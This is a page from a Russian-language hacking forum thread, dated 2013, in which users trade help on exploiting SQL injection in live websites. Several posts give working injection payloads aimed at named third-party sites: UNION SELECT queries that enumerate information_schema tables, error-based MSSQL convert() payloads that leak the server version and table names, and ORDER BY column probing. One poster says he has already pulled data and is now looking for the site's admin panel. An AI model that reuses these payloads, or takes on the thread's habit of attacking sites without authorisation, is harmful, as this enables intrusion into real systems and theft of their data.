HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2283 из 2438 « Первая < 12831783218322332273 2279 2280 2281 2282 2283 2284 2285 2286 2287 229323332383 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #22821  
Старый 07.10.2013, 04:08
Always
Guest
Сообщений: n/a
Провел на форуме:
17560

Репутация: 0
По умолчанию
Цитата:
Сообщение от Massay  
Massay said:
Помогите раскрутить, через sqlmap не получается у меня.
info(.)dra(c)onic(.)ru/?part=npcs&id=95%27%22\%27\%22\ - без ( )
http://0per.wordpress.com/tag/sql-injection/
 
Ответить с цитированием

  #22822  
Старый 07.10.2013, 13:53
BlackIce
Guest
Сообщений: n/a
Провел на форуме:
18665

Репутация: 27
По умолчанию
Привет. Есть скуля в пост запросе, отправляю через тампер дата. Не могу подобрать число столбов:

1'+order+by+100+--+ Unknown column '100' in 'order clause'

1'+order+by+1+--+ Unknown column '1' in 'order clause'
 
Ответить с цитированием

  #22823  
Старый 07.10.2013, 16:57
psihoz26
Guest
Сообщений: n/a
Провел на форуме:
182660

Репутация: 324
По умолчанию
Что делать если MySQL v4.1.21 ??

Тупо перебор колонок непохек, надо чтото поинтереснее.
 
Ответить с цитированием

  #22824  
Старый 07.10.2013, 17:40
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию
Цитата:
Сообщение от psihoz26  
psihoz26 said:
Что делать если MySQL v4.1.21 ??
Тупо перебор колонок непохек, надо чтото поинтереснее.
/thread43966.html

пункт 2.1.4 и, соответственно,подпункты.
 
Ответить с цитированием

  #22825  
Старый 07.10.2013, 17:42
Sanic1977
Новичок
Регистрация: 29.10.2008
Сообщений: 1
Провел на форуме:
1034

Репутация: 0
По умолчанию
Цитата:
Сообщение от Sanic1977  
Sanic1977 said:
'%2bconvert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFO RMATION_SCHEMA.TABLES))%2b'
выдает ошибку
Subqueries are not allowed in this context. Only scalar expressions are allowed.
и как его обойти?
id=15&type='+convert(int,@@version)+'

выводит:

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

Кто сможет объяснить, как вывести имя таблиц и колонок?
 
Ответить с цитированием

  #22826  
Старый 07.10.2013, 17:51
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию
Цитата:
Сообщение от Sanic1977  
Sanic1977 said:
id=15&type='+convert(int,@@version)+'
выводит:
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.
Кто сможет объяснить, как вывести имя таблиц и колонок?
Цитата:
Сообщение от None  
id=15&type='+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES)--
В ответе должен получить что-то типа:

Цитата:
Сообщение от None  
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value '
table_name
' to a column of data type int.
UPD

Читайте https://rdot.org/forum/showthread.php?t=826, там все расписано.
 
Ответить с цитированием

  #22827  
Старый 07.10.2013, 18:05
Sanic1977
Новичок
Регистрация: 29.10.2008
Сообщений: 1
Провел на форуме:
1034

Репутация: 0
По умолчанию
Цитата:
Сообщение от YaBtr  
YaBtr said:
В ответе должен получить что-то типа:
UPD
Читайте https://rdot.org/forum/showthread.php?t=826, там все расписано.
на запрос id=15&type='+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMAT ION_SCHEMA.TABLES)--

получаю

[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'or'.
 
Ответить с цитированием

  #22828  
Старый 07.10.2013, 21:38
SeveName
Guest
Сообщений: n/a
Провел на форуме:
305

Репутация: 0
По умолчанию
скулю раскрутил, только вот админку не могу найти( мож кто знает где она?

ArxSS и всякие онлайн сканеры не помогают

Код HTML:
HTML:
http://www.scrutineer.ru/results.php?id=0+union+select+1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+17,1+--+
 
Ответить с цитированием

  #22829  
Старый 07.10.2013, 22:11
Unknown
Guest
Сообщений: n/a
Провел на форуме:
15642

Репутация: 6
По умолчанию
Цитата:
Сообщение от Always  
Always said:
100 не предел!
Что значит не предел???наверно тут один и тот же параметр попадает сразу в несколько запросов
 
Ответить с цитированием

  #22830  
Старый 08.10.2013, 16:54
psihoz26
Guest
Сообщений: n/a
Провел на форуме:
182660

Репутация: 324
По умолчанию
Цитата:
Сообщение от YaBtr  
YaBtr said:
/thread43966.html
пункт 2.1.4 и, соответственно,подпункты.
осутствует information_schema или не хватает пра для её просморта
 
Ответить с цитированием
Ответ
Страница 2283 из 2438 « Первая < 12831783218322332273 2279 2280 2281 2282 2283 2284 2285 2286 2287 229323332383 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ